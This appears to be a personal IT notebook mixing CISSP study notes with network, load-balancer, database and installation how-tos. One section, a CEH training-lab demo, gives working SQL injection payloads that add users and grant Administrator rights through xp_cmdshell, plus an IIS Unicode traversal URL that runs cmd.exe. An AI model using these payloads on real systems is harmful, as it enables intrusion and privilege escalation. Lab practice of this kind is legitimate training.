CISSP Cheat Sheet

Common Criteria
EAL measures how the needs are met
Protection Profiles – describe objectives, and the environmental, functional, and assurance level expectations
Target of Evaluation (TOE) – Product proposed to provide the needed security solution
Security Target – Written by vendor explaining mechanisms that meet security and assurance requirements
Evaluated Products List EPL- list of evaluated products

EAL 1 Functionally tested
EAL 2 Structurally tested
EAL 3 Methodically tested and checked
EAL 4 Methodically designed, tested, and reviewed
EAL 5 Semiformally designed and tested
EAL 6 Semiformally verified design and tested
EAL 7 Formally verified design and tested

(FSMSF - T/TC/TD/TDV :Test/Test-Check/Test-Design/Test-Design-Verified)

EAL measures how the needs are met
Protection Profiles – describe objectives, and the environmental, functional, and assurance level expectations
Target of Evaluation (TOE) – Product proposed to provide the needed security solution
Security Target – Written by vendor explaining mechanisms that meet security and assurance requirements
Evaluated Products List (EPL)- list of evaluated products

Risk Analysis

ALE = ARO x SLE
SLE = AV x EF

Bell-LaPadula (MAC)
NO WRITE DOWN
NO READ UP
USER<=File to write

Biba (Integrity)
NO WRITE UP
NO READ DOWN
USER =>File to Write

Symmetric Encryption
Notation: w/r/b (data/round/key size)
DES: 64(56+8) / 16 / 64(56+8)
3DES : 64(56+8) / 48 / 64(56+8)
AES : 128,192,256 / 10,12,14 / 128,192,256
IDEA : 64 / 8 / 128
Blowfish : 64 /16 / 32-448
RC5 : 32,64,128 / 255 / 0-2048

Asymmetric Encryption
Diffie-Hellman
- vulnerable to man-in-the-middle attack
- discreet algorithm in finite field
- no auth
RSA
- factoring product of 2 prime number
- encryption + digital signature
- one way function
El-Gamal
- digital signature + encryption + key exchange
- discreet algorithm in finite field
- performance : the slowest
Elliptic Curve Crypto (ECC)
- digital signature + encryption + secure key distribution
- more effective than RSA
- discreet algorithm on elliptic curve
Knapsack
-based on knapsack problem,insecure,not in use

TCSEC

D - Minimal Protection

C1 - Discretionary Security Protection (DAC)

C2 - Controlled Access Protection (login process)

B1 - Labeled Protection (Labels and MAC)

B2 - Structured Protection (Covert channel storage analysis, Security model defined & documented)

B3 - Security Domains (Reference monitor, Automated intrution detection & response, covert timing channels)

A1 - Verified Design

NIC Teaming LinkedTo Stacked Switch

Multiple switches, when connected using the stack cable, are one logical device. This will gives you two separate switches that you can configure with the same channel group and if one switch fails, you still have that other

Configuring Manual Aggregation Group
A manual aggregation group is manually created. All its member ports are manually added and can be manually removed (it inhibits the system from automatically adding/removing ports to/from it). Each manual aggregation group must contain at least one port. When a manual aggregation group contains only one port, you cannot remove the port unless you remove the whole aggregation group.

LACP is disabled on the member ports of manual aggregation groups, and enabling LACP on such a port will not take effect.

system-view
System View: return to User View with Ctrl+Z.
[furynax] link-aggregation group 1 mode manual
[furynaxlink-aggregation group 1 description Link Aggregation for Server Teaming
[furynax] interface GigabitEthernet1/0/1
[furynax-GigabitEthernet1/0/1] port link-aggregation group 1
[furynax-GigabitEthernet1/0/1] interface GigabitEthernet2/0/1
[furynax-GigabitEthernet2/0/1] port link-aggregation group 1

Display and Maintain Link Aggregation Configuration

[furynax] display link-aggregation summary

JuggyBank SQL Injection Mini Lab Demo

This Lab depends on the "juggybank" website that comes with the CEH courseware with SQL server installed on the target machine. These are simple examples of SQL injection attacks, but if they work, almost any SQL statement will also. If the database is something other than SQL Server than only the syntax of the SQL statements will change, but the basis for the attack is actually in the weak asp scripts used for the juggybank login

Hack Script
Point your browser to the juggybank site. Enter a single tick into the username field or address bar. If an page is returned that access is denied or CGI error" then you are in business.

Paste this at username field. It will create new user 'furynax' with password 'loop' at the app level.

';insert into userinfo values('furynax','loop')--

Paste this at the address bar to create user furynax at OS level with normal user privilege

';exec master..xp_cmdshell 'net user /add furynax loop';--

Use this command at browser address bar to assign user furynax with Administrator privilege

';exec master..xp_cmdshell 'net localgroup Administrators /add furynax loop';--

Paste this command at address bar to Explore C: drive of the victim machine. Similarly, you can use mkdir or other native MS-DOS command.The only real limits are your skill and imagination using it

http://(victim ip)/scripts/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

IxChariot High Performance Throughput Script

IxChariot is a test tool for simulating applications and assessing network performance. This script emulates sending a file from Endpoint 1 to Endpoint 2, and getting a confirmation back. The default file size is 100,000 bytes.

Endpoint 1                                 Endpoint 2
----------                                 ----------
SLEEP                                       
initial_delay=0
CONNECT_INITIATE                           CONNECT_ACCEPT                              
source_port=AUTO                            destination_port=AUTO                     
0                                           0                                         
0                                           0                                         
LOOP                                       LOOP                                        
number_of_timing_records=100                number_of_timing_records=100              
START_TIMER                               
LOOP                                        LOOP                                      
transactions_per_record=1                   transactions_per_record=1               
SEND                                        RECEIVE                                 
file_size=10000000                           file_size=10000000                    
send_buffer_size=65535                       receive_buffer_size=65535             
send_datatype=NOCOMPRESS              
send_data_rate=UNLIMITED              
CONFIRM_REQUEST                             CONFIRM_ACKNOWLEDGE                     
INCREMENT_TRANSACTION                   
END_LOOP                                    END_LOOP                                  
END_TIMER                                 
SLEEP                                     
transaction_delay=0
END_LOOP                                   END_LOOP                                    
DISCONNECT                                 DISCONNECT                                  
close_type=Reset                           close_type=Reset                     

JSessionID-Based Persistence

Universal Persistence

BIG-IP LTM software includes the Universal Inspection Engine (UIE). The UIE is a set of functions that allows you to direct and persist load-balanced traffic using iRules. Universal persistence uses the UIE which allows you to use persistence for sessions based on content data, or based on connections to a specific pool member, by defining a sequence of bytes in the connection to use as a session identifier.

iRule Example

The following iRule example illustrates how the LTM can find a cookie called FURYNAX in the first response from the server and add a persistence record for that cookie. Subsequent client requests containing the same cookie will persist to the same pool member.

when CLIENT_ACCEPTED {
set add_persist 1
}
when HTTP_RESPONSE {
if { [HTTP::cookie exists "FURYNAX"] and $add_persist } {
persist add uie [HTTP::cookie "FURYNAX"]
set add_persist 0
}
}

when HTTP_REQUEST {
if { [HTTP::cookie exists "FURYNAX"] } {
persist uie [HTTP::cookie "FURYNAX"]
} else {
set jsess [findstr [HTTP::uri] "FURYNAX" 13 ";"]
if { $jsess != "" } {
persist uie $jsess
}
}
}

Another iRules examples

when CLIENT_ACCEPTED {
set add_persist 1
}

when HTTP_RESPONSE {
if { [HTTP::cookie exists "CSPSESSIONID-SP-57772-UP-csp-sys-"] and $add_persist } {
persist add uie [HTTP::cookie "CSPSESSIONID-SP-57772-UP-csp-sys-"]
set add_persist 0
}
}

when HTTP_REQUEST {
if { [HTTP::cookie exists "CSPSESSIONID-SP-57772-UP-csp-sys-"] } {
persist uie [HTTP::cookie "CSPSESSIONID-SP-57772-UP-csp-sys-"]
} else {
set jsess [findstr [HTTP::uri] "CSPSESSIONID-SP-57772-UP-csp-sys-" 34 ";"]
if { $jsess != "" } {
persist uie $jsess
}
}
}

when CLIENT_ACCEPTED {
set add_persist 1
}

when HTTP_RESPONSE {
if { [HTTP::cookie exists "JSESSIONID"] and $add_persist } {
persist add uie [HTTP::cookie "JSESSIONID"]
set add_persist 0
}
}

when HTTP_REQUEST {
if { [HTTP::cookie exists "JSESSIONID"] } {
persist uie [HTTP::cookie "JSESSIONID"]
} else {
set jsess [findstr [HTTP::uri] "JSESSIONID" 11 ";"]
if { $jsess != "" } {
persist uie $jsess
}
}
}

Validate Persistence Records

[root@ltm1:Active] config # b persist show all
PERSISTENT CONNECTIONS --
Mode: universal Value: nVTLLvHDy9GQJQ4T29LPwsLqXXCB2pTGJ3KR49WhpvvBwZyPrxQT!-167612729!-671022569
Virtual: 10.251.3.144:https Node: 10.251.44.2:any Age: 231sec

Mode: source addr Value: 10.21.33.39
Virtual: 10.251.3.145:https Node: 10.251.44.5:any Age: 12sec

Mode: universal Value: Cn18LvHQR8dyZH1S1BmnSxVGcDMvHz12JlTFnJFryvKZpgrrTBdZ!-167612729!-671022569
Virtual: 10.251.3.144:https Node: 10.251.44.2:any Age: 288sec

Mode: universal Value: G4JbLvHXFg2LrXnz71hyJWBGLgT7fQXJbw4G5nhvFThh2pDfymLY!-671022569!-167612729
Virtual: 10.251.3.144:https Node: 10.251.44.2:any Age: 188sec

Chakra Installation on Windows

Installation of J2SDK (Java 2 Software Development Kit)
- Recommend to use J2SDK 1.4.2_13 for Chakra V3.1.1 version
- Click Next, if you agree the terms in the license agreement
- Demos and Source Code are not required
- Choose the browser for Java plug-in and click Next
- Check for Java property values:

a) My Computer > right click > System Properties > Advanced > Environment Variable. Click Add New

b)Input values: Name: JAVA_HOME and Value: c:\ j2sdk1.4.2_13
c) Click Edit to set the Path for System Variables
d) Add %JAVA_HOME%\bin; in front of the existing path.Click OK to apply changes

- Type java –version to check for the correct version name.

Installation of MySQL Server 5.0

- Chakra repository uses MySQL or Oracle to store and administer log statistical data and internally registered information. We recommend using newer version of MySQL 5.0.26

- All the steps of installation must be done by a user with Administrative privilege.
- Accept License Agreement
- Recommend to choose Typical and then click Next
- Start installation
- Skip the Sign-Up step
- Check on Configure the MySQL Server now, then click Finish button
- Click Next to go on Instance Configuration Wizard
- Choose Detailed Configuration
- Choose Server Machine
- Choose Multifunctional Database in case of using MyISAM for MySQL InnoDB
- Confirm InnoDB Tablespace Setting and then click Next
- Choose Manual Setting and set the concurrent connections as 15
- Choose the port number. Recommend using Default Port 3306
- Choose the language of Chakra server (English: latin1)

- In Chakra Windows version, MySQL needs to be started from Windows Service. Include Bin Directory in Windows PATH is must be checked.

- Set up user ID and Password for root account of MySQL
- Click Execute to start the installation. If you see the error message, you need to open the port (3306) and open the port number (Windows firewall)
- Check from the Control Panel > Services

Installation of Apache Tomcat
- Accept License Agreement
- Check NT Service to operate Tomcat in Windows service.
- Choose directory where Tomcat will be installed.
- Tomcat Installation completion.
- Input ID and password required for Apache tomcat http port and administration.

Installation of Client for Chakra Repository access
- Confirm Client is registered.
- Check if C:\WINDOWS\system32\driver\instantclient Directory is created.

Installation of Chakra Server
- Accept License Agreement

- Choose directory where Chakra will be installed. If no modification, Chakra will be installed in below directory. C:\Program Files\WareValley Co., Ltd\Chakra3.1 for Windows

- Click Install
- Select Product type and License
- Select a language
- If you want to create Repository, click Yes.
- Choose DBMS used for Chakra Repository. (MySQL)

- Input MySQL Administrator information (DBMS Host, Port, Administrator ID, password, DBMS). If MySQL, the default Administrator ID is cgw.

- Create Chakra Repository Schema
- Chakra Repository Schema creation is completed.

- If failed queries are 1, then it is successfully executed. (In case of an error, deleted parts are included. So, in the first execution, Fail queries: 1 appears)

[Important] If Failed queries are not 1 or MySQL is not executed, click Cancel and terminate installation. Then, process [Chakra3.1 Configuration Wizard] to complete Chakra installation.

- Create password for Chakra Repository user.
- Click Add to add network card.

- Input NIC name (user defined) and select Network Device. Check Connected with TAP device if using TAP device.

- Select directory where SQL logs created by Chakra will be saved.
- Select NIC used for communicating between Chakra Server and Web Client.
- Click Yes to allow the execution of additional information setting.
- Leave the rest to default Value

Backup and Restore the Update Server SQL 2005 Database and Storage Directory

Backup the PLUS and PLUS_Staging Databases

- Click Start, Run, and type [iisreset /stop] and press Enter to stop Internet Information Services.
- For 6.3 Update server, type [net stop "PatchLink Distribution Service"] to stop the PatchLink Distribution Service. In 6.4 update server, type [net stop "PatchLink Replication Service"] to stop the PatchLink Replication Service.
- Open SQL Server Management Studio (Express Edition can be downloaded for free on Microsoft's web site).
- Users can authenticate into the database by using "Windows Authentication."
- Drill down to the PLUS database.
- Right-click on PLUS and select Tasks > Backup
- In the General tab > Source section, click the drop down and choose PLUS
- Under Backup set, name the file to be backed up
- In the Destination section, click the remove button to remove the entry
- Click the Add button, click the Ellipse button to browse to where the backup file will be created. Once you choose a directory, type the same name into the File Name field as stated for the file name listed in the General > Backup set section.
- Click OK until you get back to the Back UP Database –PLUS screen.
- Click Options > Overwrite media, choose Overwrite all existing backup sets.

Backup the PLUS Storage Directory
Make a backup copy of the %Program Files%\Patchlink\Update Server\Storage directory on the same frequency as your PLUS Database backups.

Restore the PLUS and PLUS_Staging Databases
Use Microsoft SQL 2005 Management Studio or Express Edition to restore the Plus and Plus Staging databases.
Perform the steps which follow on the PLUS database, then follow the same procedure for the PLUS_Staging database, substituting PLUS_Staging for PLUS where appropriate.

- Open SQL Server Management Studio (Express Edition can be downloaded for free on Microsoft's web site).
- Drill down to the PLUS database.
- Right-click on PLUS and select Delete.
- In the Delete Object screen, uncheck Delete backup and restore history information for Databases and place a check mark for Close existing connections. Click OK.
- Right click on Databases, click New Database.
- In the General section, name the file PLUS. Click OK.
- Right click on the PLUS database. Click Tasks >Restore >Database.
- In the Destination for restore section, Choose the PLUS database. Under Source for restore, choose From device
- Under Source for restore, click the ellipse button. Click Add.
- For Files of type, click the drop down arrow, choose All Files. Locate the PLUS backup file and highlight that file. Click OK. Click OK again to the Specify Backup screen.
- In the Restore Database Plus screen, Place a check mark in the box under Select the Backup sets to restore
- Click Options. Under Restore options, place a check mark for "Overwrite the existing database".
- Under Recovery state, choose default "Leave the database ready to use by rolling back uncommitted transactions. Additional transaction logs cannot be restored. (RESTORE WITH RECOVERY)". Click OK.
- Once the restoring of the plus database is complete, a pop up message will state "The restore of database 'PLUS' completed successfully".
- From a CMD prompt, type [iisreset] to start Internet Information Services. Open service manager, start the World Wide Web Publishing Service
- For 6.3 Update server, Type [net start "PatchLink Distribution Service"] to start the PatchLink Distribution Service. In 6.4 update server, type [net start "PatchLink Replication Service"] to start the PatchLink Replication Service.

Notable Linux Command-Line for Internet Use

Query Wikipedia Via Console Over DNS

furynax@paranoid:~$ dig +short txt radiohead.wp.dg.cx

"Radiohead are an English alternative rock band from Abingdon, Oxfordshire. The band is composed of Thom Yorke (lead vocals, rhythm guitar, piano, beats), Jonny Greenwood (lead guitar, keyboard, other instruments), Ed O'Brien (guitar, backing vocals), Coli" "n Greenwood (bass guitar) and Phil Selway (drums, percussion). http://a.vu/w:Radiohead"

Twitter Update From Terminal

curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

Get Your Tweets From The Command Line

curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n

Get Random Futurama Quotations From Slashdot.org Servers

furynax@paranoid:~$ echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
Bender: My full name is Bender Bending Rodriguez.

furynax@paranoid:~$ echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
Fry: I must be a robot. Why else would human women refuse to date me?

Download Apple Movie Trailers

furynax@paranoid:~$ wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/focus_features/aseriousman/aseriousman_480p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`

--2009-10-01 17:18:39-- http://movies.apple.com/movies/focus_features/aseriousman/aseriousman_h480p.mov
Resolving movies.apple.com... 58.27.186.99, 58.27.186.16
Connecting to movies.apple.com|58.27.186.99|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26735205 (25M) [video/quicktime]
Saving to: `aseriousman_h480p.mov'

Silent Install ZPM Agent from Command Prompt

Windows Agent
- Open Command prompt
- Define host location, serial number, and other optional settings using the following syntax:

With Proxy

msiexec /i "C:\UpdateAgent.msi" /qn HOST="http://myServer" SERIAL="00000000-00000000" USEPROXY=1 PROXYURL="http://myProxy" PROXYUSER="proxyUser" PROXYPASS="proxyPassword" GROUPLIST="GroupName1;GroupName2;GroupNameN"

Without Proxy

msiexec /i "C:\UpdateAgent.msi" /qn HOST="http://myServer" SERIAL="00000000-00000000" USEPROXY=0 GROUPLIST="GroupName1;GroupName2;GroupNameN"

Linux/Unix/Netware/Mac Agent
- Open Command prompt
- Define host location, serial number, and other optional settings using the following syntax:

With Proxy

./install -silent -d "/user/local" -p "http://myServer" -sno "00000000-00000000" -proxy "http://myProxy" -port ## -g "GroupName1;GroupName2;GroupNameN"

Without Proxy

./install -silent -d "/user/local" -p "http://myServer" -sno "00000000-00000000" -g "GroupName1;GroupName2;GroupNameN"

BIG-IP Link Controller incorrectly generates an error message when creating a link object

Fresh installation of the BIG-IP Link Controller software, the BIG-IP Link Controller system's mcpd process does not receive the gtmd configuration, although a valid wideip.conf file exists. In addition, attempts to configure a link object will fail with an error message that appears similar to the following example:

010701793: Link (link_name) must have an associated data center

Reload gtmd Configuration
Force the mcpd process to reload the gtmd configuration. To do so, perform the following procedure:

- Log in to the BIG-IP GTM command line.
- Type the following command to reload the configuration: gtmparse -l

[root@furynax:Active] config # gtmparse -1
gtmparse: Initializing ...
/usr/bin/monitors/builtins/gtm_base_monitors.conf: SUCCESS
/usr/local/gtm/include/base_region.ISP: SUCCESS
/config/gtm/wideip.conf: SUCCESS
gtmparse: SUCCESS
[root@furynax:Active] config #

You should now be able to configure the link object.

Manual Configuration on wideip.conf
If you still cannot configure the link object, the BIG-IP Link Controller's auto-configuration process may not have correctly created the wideip.conf file, which contains the required default data center definition that references the box definition for the BIG-IP Link Controller. To ensure that the wideip.conf file contains the required entries, perform the following procedure:

- Log in to the BIG-IP GTM command line.
- Edit the /config/gtm/wideip.conf file in a text editor.
- Ensure that the configuration file contains stanzas that define the data center and the BIG-IP Link Controller object.

For example:

// *** Data Center Definitions (1) ***

datacenter { // 1 server(s)
name "Default DC"
server "LC-fqdn.domain.com"
}

// *** Server Definitions (1) ***

server { // datacenter=Default DC, #VS=0
name "LC-fqdn.domain.com"
type bigip
box { //gtm
address 192.168.1.2
unit_id 1
}
}

Note: Replace LC-fqdn.domain.com with the FQDN of the BIG-IP Link Controller system, and replace 192.168.1.2 with the self IP address that was configured on the BIG-IP Link Controller system during the initial configuration.

- Save and close the file.
- Load the modified configuration by typing the following command: gtmload

[root@furynax:Active] gtm # gtmload
gtmload: Initializing ...
/usr/bin/monitors/builtins/gtm_base_monitors.conf: SUCCESS
/usr/local/gtm/include/base_region.ISP: SUCCESS
/config/gtm/wideip.conf: SUCCESS
gtmload: SUCCESS
[root@furynax:Active] gtm #